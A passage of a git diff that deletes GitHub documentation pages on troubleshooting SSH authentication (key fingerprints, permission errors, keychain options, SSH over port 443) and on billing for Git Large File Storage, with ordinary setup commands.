a file existed, those lines would be "1" and "Offering public key", as in this output: - -```shell -> ... -> debug1: identity file /Users/YOU/.ssh/id_rsa type 1 -> ... -> debug1: Authentications that can continue: publickey -> debug1: Next authentication method: publickey -> debug1: Offering RSA public key: /Users/YOU/.ssh/id_rsa -``` - -## Verify the public key is attached to your account - -You must provide your public key to {% data variables.product.github %} to establish a secure connection. - -{% mac %} - -1. Open Terminal. -1. Start SSH agent in the background. - - ```shell - $ eval "$(ssh-agent -s)" - > Agent pid 59566 - ``` - -1. Find and take a note of your public key fingerprint. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Compare the list of SSH keys with the output from the `ssh-add` command. - -{% endmac %} - -{% windows %} - -1. Open the command line. -1. Start SSH agent in the background. - - ```shell - $ ssh-agent -s - > Agent pid 59566 - ``` - -1. Find and take a note of your public key fingerprint. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Compare the list of SSH keys with the output from the `ssh-add` command. - -{% endwindows %} - -{% linux %} - -1. Open Terminal. -1. Start SSH agent in the background. - - ```shell - $ eval "$(ssh-agent -s)" - > Agent pid 59566 - ``` - -1. Find and take a note of your public key fingerprint. If you're using OpenSSH 6.7 or older: - - ```shell - $ ssh-add -l - > 2048 a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - - If you're using OpenSSH 6.8 or newer: - - ```shell - $ ssh-add -l -E md5 - > 2048 MD5:a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Compare the list of SSH keys with the output from the `ssh-add` command. - -{% endlinux %} - -If you don't see your public key in {% data variables.product.github %}, you'll need to [add your SSH key to {% data variables.product.github %}](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account) to associate it with your computer. - -> [!WARNING] -> If you see an SSH key you're not familiar with on {% data variables.product.github %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys). diff --git a/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md b/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md deleted file mode 100644 index 2343841c509f..000000000000 --- a/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: 'Error: Permission to user/repo denied to other-user' -intro: This error means the key you are pushing with is attached to an account which does not have access to the repository. -redirect_from: - - /articles/error-permission-to-user-repo-denied-to-other-user - - /articles/error-permission-to-userrepo-denied-to-other-user - - /github/authenticating-to-github/error-permission-to-userrepo-denied-to-other-user - - /github/authenticating-to-github/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Permission denied other-user ---- -To fix this, the owner of the repository (`user`) needs to add your account (`other-user`) as a collaborator on the repository or to a team that has write access to the repository. diff --git a/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md b/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md deleted file mode 100644 index b9ad89e75de4..000000000000 --- a/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: 'Error: Permission to user/repo denied to user/other-repo' -intro: 'This error means the key you are pushing with is attached to another repository as a deploy key, and does not have access to the repository you are trying to push to.' -redirect_from: - - /articles/error-permission-to-user-repo-denied-to-user-other-repo - - /articles/error-permission-to-userrepo-denied-to-userother-repo - - /github/authenticating-to-github/error-permission-to-userrepo-denied-to-userother-repo - - /github/authenticating-to-github/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Permission denied other-repo ---- -To fix this, remove the deploy key from the repository, and [add the key to your personal account](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account) instead. - -If the key you are using is intended to be a deploy key, check out [our guide on deploy keys](/authentication/connecting-to-github-with-ssh/managing-deploy-keys) for more details. diff --git a/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----apple-use-keychain.md b/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----apple-use-keychain.md deleted file mode 100644 index 9de094a79101..000000000000 --- a/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----apple-use-keychain.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 'Error: ssh-add: illegal option -- apple-use-keychain' -intro: 'This error means your version of `ssh-add` does not support macOS keychain integration, which allows you to store your passphrase in the keychain.' -redirect_from: - - /articles/error-ssh-add-illegal-option-k - - /articles/error-ssh-add-illegal-option----k - - /github/authenticating-to-github/error-ssh-add-illegal-option----k - - /github/authenticating-to-github/troubleshooting-ssh/error-ssh-add-illegal-option----k - - /authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: 'ssh-add "illegal option" error' ---- -The `--apple-use-keychain` option is in Apple's standard version of `ssh-add`, which stores the passphrase in your keychain for you when you add an ssh key to the ssh-agent. If you have installed a different version of `ssh-add`, it may lack support for `--apple-use-keychain`. - -## Solving the issue - -To add your SSH private key to the ssh-agent, you can specify the path to the Apple version of `ssh-add`: - -```shell -/usr/bin/ssh-add --apple-use-keychain ~/.ssh/id_ed25519 -``` - -> [!NOTE] -> * The `--apple-use-keychain` option is in Apple's standard version of `ssh-add`. In macOS versions prior to Monterey (12.0), use `-K` instead of `--apple-use-keychain`. -> * {% data reusables.ssh.add-ssh-key-to-ssh-agent %} - -## Further reading - -* [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) -* [Linux man page for ssh-add](http://man7.org/linux/man-pages/man1/ssh-add.1.html) -* To view Apple's man page for SSH-ADD, run `man ssh-add` in Terminal diff --git a/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md b/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md deleted file mode 100644 index c28a72bd744b..000000000000 --- a/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Error: SSL certificate problem, verify that the CA cert is OK' -intro: 'This error means your CA root certificate is out of date. If your CA root certificate needs to be updated, you won''t be able to push or pull from {% data variables.product.github %} repositories.' -redirect_from: - - /articles/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok - - /github/authenticating-to-github/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok - - /github/authenticating-to-github/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok -versions: - fpt: '*' - ghec: '*' -topics: - - SSH -shortTitle: SSL certificate problem ---- -The error you receive may look like the following: - -```shell -$ git push -u github.main -> fatal: 'github.main' does not appear to be a git repository -> fatal: The remote end hung up unexpectedly - -$ git pull -u github -> error: SSL certificate problem, verify that the CA cert is OK. Details: -> error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed while accessing https://github.com/tqisjim/google-oauth.git/info/refs -> fatal: HTTP request failed -``` - -A "CA" is shorthand for a "certificate authority," a third-party group responsible for handling secure connections around the web. They establish digital "certificates," which are a way of ensuring that there are valid connections between two machines (like your computer and GitHub.com). Without a certificate, the security risk between two machines is greater. - -When you receive this error, it likely means that your CA is out-of-date and needs to be updated. Generally, updating your operating system also updates your CA, and solves the problem. diff --git a/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/content/authentication/troubleshooting-ssh/error-unknown-key-type.md deleted file mode 100644 index ba601c3e75b1..000000000000 --- a/content/authentication/troubleshooting-ssh/error-unknown-key-type.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: 'Error: Unknown key type' -intro: 'This error means that the SSH key type you used was unrecognized or is unsupported by your SSH client. ' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -redirect_from: - - /github/authenticating-to-github/error-unknown-key-type - - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type ---- -## About the `unknown key type` error - -When you generate a new SSH key, you may receive an `unknown key type` error if your SSH client does not support the key type that you specify.{% mac %}To solve this issue on macOS, you can update your SSH client or install a new SSH client. - -## Prerequisites - -You must have Homebrew installed. For more information, see the [installation guide](https://docs.brew.sh/Installation) in the Homebrew documentation. - -## Solving the issue - -> [!WARNING] -> If you install OpenSSH, your computer will not be able to retrieve passphrases that are stored in the Apple keychain. You will need to enter your passphrase or interact with your hardware security key every time you authenticate with SSH to {% data variables.product.prodname_dotcom %} or another web service. -> -> If you remove OpenSSH, the passphrases that are stored in your keychain will once again be retrievable. You can remove OpenSSH by entering the command `brew uninstall openssh` in Terminal. - -1. Open Terminal. -1. Enter the command `brew install openssh`. -1. Quit and relaunch Terminal. -1. Try the procedure for generating a new SSH key again. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key). - -{% endmac %}{% linux %}To solve this issue on Linux, use the package manager for your Linux distribution to install a new version of OpenSSH, or compile a new version from source. If you install a different version of OpenSSH, the ability of other applications to authenticate via SSH may be affected. For more information, review the documentation for your distribution.{% endlinux %} diff --git a/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md b/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md deleted file mode 100644 index ca7e83796182..000000000000 --- a/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Error: We''re doing an SSH key audit' -intro: This error means the SSH key you're using to perform a Git operation is unverified. -redirect_from: - - /articles/error-we-re-doing-an-ssh-key-audit - - /articles/error-were-doing-an-ssh-key-audit - - /github/authenticating-to-github/error-were-doing-an-ssh-key-audit - - /github/authenticating-to-github/troubleshooting-ssh/error-were-doing-an-ssh-key-audit -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: SSH key audit ---- -When using an unverified key to perform Git operations, you will be prompted to perform an audit of your SSH keys. - -```shell -ERROR: We're doing an SSH key audit. -Reason: unverified due to lack of use -Please visit https://github.com/settings/ssh -to approve this key so we know it's safe. -Fingerprint: ab:08:46:83:ff:f6:c4:f8:a9:4e:68:6b:94:17:f2:46 -fatal: could not read from remote repository -``` - -## Solving the issue - -To fix this, you need to [review your SSH keys](/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys) and either reject or approve the unverified key. Clicking the URL link in the error message brings you to the SSH Settings page, where the unverified SSH key is highlighted in the SSH key list. diff --git a/content/authentication/troubleshooting-ssh/index.md b/content/authentication/troubleshooting-ssh/index.md deleted file mode 100644 index 83f7401c6d59..000000000000 --- a/content/authentication/troubleshooting-ssh/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Troubleshooting SSH -intro: 'When using SSH to connect and authenticate to {% data variables.product.github %}, you may need to troubleshoot unexpected issues that may arise.' -redirect_from: - - /articles/troubleshooting-ssh - - /github/authenticating-to-github/troubleshooting-ssh -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -children: - - /using-ssh-over-the-https-port - - /recovering-your-ssh-key-passphrase - - /deleted-or-missing-ssh-keys - - /error-host-key-verification-failed - - /error-permission-denied-publickey - - /error-bad-file-number - - /error-key-already-in-use - - /error-permission-to-userrepo-denied-to-other-user - - /error-permission-to-userrepo-denied-to-userother-repo - - /error-agent-admitted-failure-to-sign - - /error-ssh-add-illegal-option----apple-use-keychain - - /error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok - - /error-unknown-key-type - - /error-were-doing-an-ssh-key-audit ---- diff --git a/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md deleted file mode 100644 index 394249d7f959..000000000000 --- a/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Recovering your SSH key passphrase -intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.' -redirect_from: - - /articles/how-do-i-recover-my-passphrase - - /articles/how-do-i-recover-my-ssh-key-passphrase - - /articles/recovering-your-ssh-key-passphrase - - /github/authenticating-to-github/recovering-your-ssh-key-passphrase - - /github/authenticating-to-github/troubleshooting-ssh/recovering-your-ssh-key-passphrase -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Recover SSH key passphrase ---- -{% mac %} - -If you [configured your SSH passphrase with the macOS keychain](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it. - -1. In Finder, search for the **Keychain Access** app. -1. In Keychain Access, search for **SSH**. -1. Double click on the entry for your SSH key to open a new dialog box. -1. In the lower-left corner, select **Show password**. -1. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box. -1. Your password will be revealed. - -{% endmac %} - -{% windows %} - -If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/get-started/git-basics/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead. - -{% endwindows %} - -{% linux %} - -If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/get-started/git-basics/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead. - -{% endlinux %} diff --git a/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md b/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md deleted file mode 100644 index 221b4cceacc1..000000000000 --- a/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Using SSH over the HTTPS port -intro: 'Sometimes, firewalls refuse to allow SSH connections entirely. If using [HTTPS cloning with credential caching](/github/getting-started-with-github/caching-your-github-credentials-in-git) is not an option, you can attempt to clone using an SSH connection made over the HTTPS port. Most firewall rules should allow this, but proxy servers may interfere.' -redirect_from: - - /articles/using-ssh-over-the-https-port - - /github/authenticating-to-github/using-ssh-over-the-https-port - - /github/authenticating-to-github/troubleshooting-ssh/using-ssh-over-the-https-port -versions: - fpt: '*' - ghec: '*' -topics: - - SSH -shortTitle: Use SSH over HTTPS port ---- - -> [!WARNING] -> **{% data variables.product.prodname_ghe_server %} users:** Accessing {% data variables.product.prodname_ghe_server %} via SSH over the HTTPS port is currently not supported. - -To test if SSH over the HTTPS port is possible, run this SSH command: - -```bash -$ ssh -T -p 443 git@ssh.github.com -# Hi USERNAME! You've successfully authenticated, but GitHub does not -# provide shell access. -``` - -If that worked, great! If not, you may need to [follow our troubleshooting guide](/authentication/troubleshooting-ssh/error-permission-denied-publickey). - -> [!NOTE] The hostname for port 443 is `ssh.{% data variables.product.product_url %}`, not `{% data variables.product.product_url %}`. -> {% ifversion ghec %} -> {% data reusables.enterprise-data-residency.access-domain %} -{% endif %} - -Now, to clone the repository, you can run the following command: - -```shell -git clone ssh://git@ssh.{% data variables.product.product_url %}:443/YOUR-USERNAME/YOUR-REPOSITORY.git -``` - -## Enabling SSH connections over HTTPS - -If you are able to SSH into `git@ssh.{% data variables.product.product_url %}` over port 443, you can override your SSH settings to force any connection to {% data variables.location.product_location %} to run through that server and port. - -To set this in your SSH configuration file, edit the file at `~/.ssh/config`, and add this section: - -```text -Host {% data variables.product.product_url %} - Hostname ssh.{% data variables.product.product_url %} - Port 443 - User git -``` - -You can test that this works by connecting once more to {% data variables.location.product_location %}: - -```bash -$ ssh -T git@{% data variables.product.product_url %} -# Hi USERNAME! You've successfully authenticated, but GitHub does not -# provide shell access. -``` - -## Updating known hosts - -The first time you interact with {% data variables.product.prodname_dotcom %} after switching to port 443, you may get a warning message -that the host wasn't found in `known_hosts`, or that it was found by another name. - -```bash -# The authenticity of host '[ssh.github.com]:443 ([140.82.112.36]:443)' can't be established. -# ED25519 key fingerprint is SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU. -# This host key is known by the following other names/addresses: -# ~/.ssh/known_hosts:32: github.com -# Are you sure you want to continue connecting (yes/no/[fingerprint])? -``` - -It is safe to answer "yes" to this question, assuming that the SSH fingerprint matches -one of {% data variables.product.prodname_dotcom %}'s published fingerprints. For the list of fingerprints, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints). diff --git a/content/billing/index.md b/content/billing/index.md deleted file mode 100644 index 08ff017cc5df..000000000000 --- a/content/billing/index.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Billing and payments documentation -shortTitle: Billing and payments -intro: 'Learn about the different components of your bill, and how you can view and manage those components.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github - - /categories/setting-up-and-managing-billing-and-payments-on-github -introLinks: - overview: '{% ifversion fpt or ghec %}/billing/using-the-billing-platform/about-billing-on-github{% elsif ghes%}/billing/using-the-billing-platform/about-billing-for-your-enterprise{% endif %}' -featuredLinks: - startHere: - - '{% ifversion fpt or ghec %}/billing/using-the-billing-platform/adding-or-editing-a-payment-method{% endif %}' - - '{% ifversion fpt or ghec %}/billing/using-the-billing-platform/setting-your-billing-email{% endif %}' - - '{% ifversion fpt or ghec %}/billing/managing-the-plan-for-your-github-account/about-per-user-pricing{% endif %}' - - '{% ifversion ghes %}/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}' - - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}' - - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}' - popular: - - '{% ifversion ghec %}/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}' - - '{% ifversion fpt or ghec %}/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan{% endif %}' - - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-products/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}' - - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces{% endif %}' - - '{% ifversion ghes %}/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security{% endif %}' - - '{% ifversion ghes %}/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}' - - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}' - guideCards: - - /billing/managing-the-plan-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process - - /billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage - - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}' - - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud{% endif %}' -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Billing -children: - - /using-the-billing-platform - - /using-the-new-billing-platform - - /managing-the-plan-for-your-github-account - - /managing-your-license-for-github-enterprise - - /managing-billing-for-your-products - - /setting-up-paid-accounts-for-procurement-companies ---- - diff --git a/content/billing/managing-billing-for-your-products/index.md b/content/billing/managing-billing-for-your-products/index.md deleted file mode 100644 index 86436965451c..000000000000 --- a/content/billing/managing-billing-for-your-products/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Managing billing for your products -shortTitle: Product billing -intro: "Learn how to view usage and manage billing for your specific products." -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Billing -children: - - /managing-licenses-for-visual-studio-subscriptions-with-github-enterprise - - /managing-billing-for-github-actions - - /managing-billing-for-github-codespaces - - /managing-billing-for-github-packages - - /managing-billing-for-github-copilot - - /managing-billing-for-github-advanced-security - - /managing-billing-for-github-sponsors - - /managing-billing-for-github-marketplace-apps - - /managing-billing-for-git-large-file-storage - ---- diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md deleted file mode 100644 index 42710865df12..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: About billing for Git Large File Storage -intro: 'If you purchase additional storage and bandwidth for {% data variables.large_files.product_name_long %}, your purchase shares your account''s existing billing date, payment method, and receipt.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-git-large-file-storage - - /articles/about-billing-for-git-large-file-storage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage - - /billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - LFS - - Upgrades -shortTitle: About Git LFS billing ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About billing for {% data variables.large_files.product_name_long %} - -{% data reusables.large_files.free-storage-bandwidth-amount %} {% data reusables.large_files.does_not_carry %} - -{% data reusables.large_files.owner_quota_only %} - -{% data reusables.user-settings.context_switcher %} - -## Purchasing additional storage and bandwidth - -Additional storage and bandwidth is offered in a single data pack. One data pack costs {% data variables.large_files.pack_monthly_price %}, and provides a monthly quota of {% data variables.large_files.pack_monthly_bandwidth %} for bandwidth and {% data variables.large_files.pack_monthly_storage %} for storage. You can purchase as many data packs as you need. For example, if you need 150 GB of storage, you'd buy three data packs. For more information about how to purchase additional storage and bandwidth, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage). - -Purchasing data packs for {% data variables.large_files.product_name_short %} is independent of any other paid feature or product on {% data variables.product.github %}. - -## Downgrading storage and bandwidth - -If you downgrade your number of additional data packs, your changes will take effect on your next billing date. - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md deleted file mode 100644 index c37e497ac859..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Downgrading Git Large File Storage -intro: 'You can downgrade storage and bandwidth for {% data variables.large_files.product_name_short %} by increments of 50 GB per month.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage - - /articles/downgrading-storage-and-bandwidth-for-a-personal-account - - /articles/downgrading-storage-and-bandwidth-for-an-organization - - /articles/downgrading-git-large-file-storage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage - - /billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Downgrades - - LFS - - Organizations - - User account -shortTitle: Downgrade Git LFS storage ---- - -{% data reusables.billing.enhanced-billing-platform %} - -When you downgrade your number of data packs, your change takes effect on your next billing date. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage). - -## Downgrading storage and bandwidth for a personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.lfs-remove-data %} -{% data reusables.large_files.downgrade_data_packs %} - -## Downgrading storage and bandwidth for an organization - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.lfs-remove-data %} -{% data reusables.large_files.downgrade_data_packs %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/index.md b/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/index.md deleted file mode 100644 index 634678536022..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Managing billing for Git Large File Storage -shortTitle: Git Large File Storage -intro: 'You can view usage for, upgrade, and downgrade {% data variables.large_files.product_name_long %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage - - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account - - /articles/managing-large-file-storage-and-bandwidth-for-your-organization - - /articles/managing-storage-and-bandwidth-usage - - /articles/managing-billing-for-git-large-file-storage - - /billing/managing-billing-for-git-large-file-storage/index - - /billing/managing-billing-for-git-large-file-storage -versions: - fpt: '*' - ghec: '*' -children: - - /about-billing-for-git-large-file-storage - - /viewing-your-git-large-file-storage-usage - - /upgrading-git-large-file-storage - - /downgrading-git-large-file-storage ---- - -{% data reusables.billing.enhanced-billing-platform %} diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md deleted file mode 100644 index 5f6f90a73cd7..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Upgrading Git Large File Storage -intro: 'You can purchase additional data packs to increase your monthly bandwidth quota and total storage capacity for {% data variables.large_files.product_name_short %}.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage - - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account - - /articles/purchasing-additional-storage-and-bandwidth-for-an-organization - - /articles/upgrading-git-large-file-storage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage - - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - LFS - - Organizations - - Upgrades - - User account -shortTitle: Upgrade Git LFS storage ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## Purchasing additional storage and bandwidth for a personal account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.lfs-add-data %} -{% data reusables.large_files.pack_selection %} -{% data reusables.large_files.pack_confirm %} - -## Purchasing additional storage and bandwidth for an organization - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.lfs-add-data %} -{% data reusables.large_files.pack_selection %} -{% data reusables.large_files.pack_confirm %} - -{% ifversion ghec %} - -## Purchasing additional storage and bandwidth for an enterprise account - -{% data reusables.enterprise-accounts.billing-perms %} - -> [!NOTE] -> If your enterprise account is invoiced, you may not be able to purchase Git LFS data packs on {% data variables.product.prodname_dotcom %}. Instead, contact {% data variables.contact.contact_enterprise_sales %}. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. To the right of "Git LFS", click **Purchase more data packs**. -1. Select the "Choose an organization" dropdown menu and click the organization you want to purchase a data pack for. -{% data reusables.large_files.pack_selection %} -{% data reusables.large_files.pack_confirm %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage) -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md deleted file mode 100644 index fb36e35b6f2f..000000000000 --- 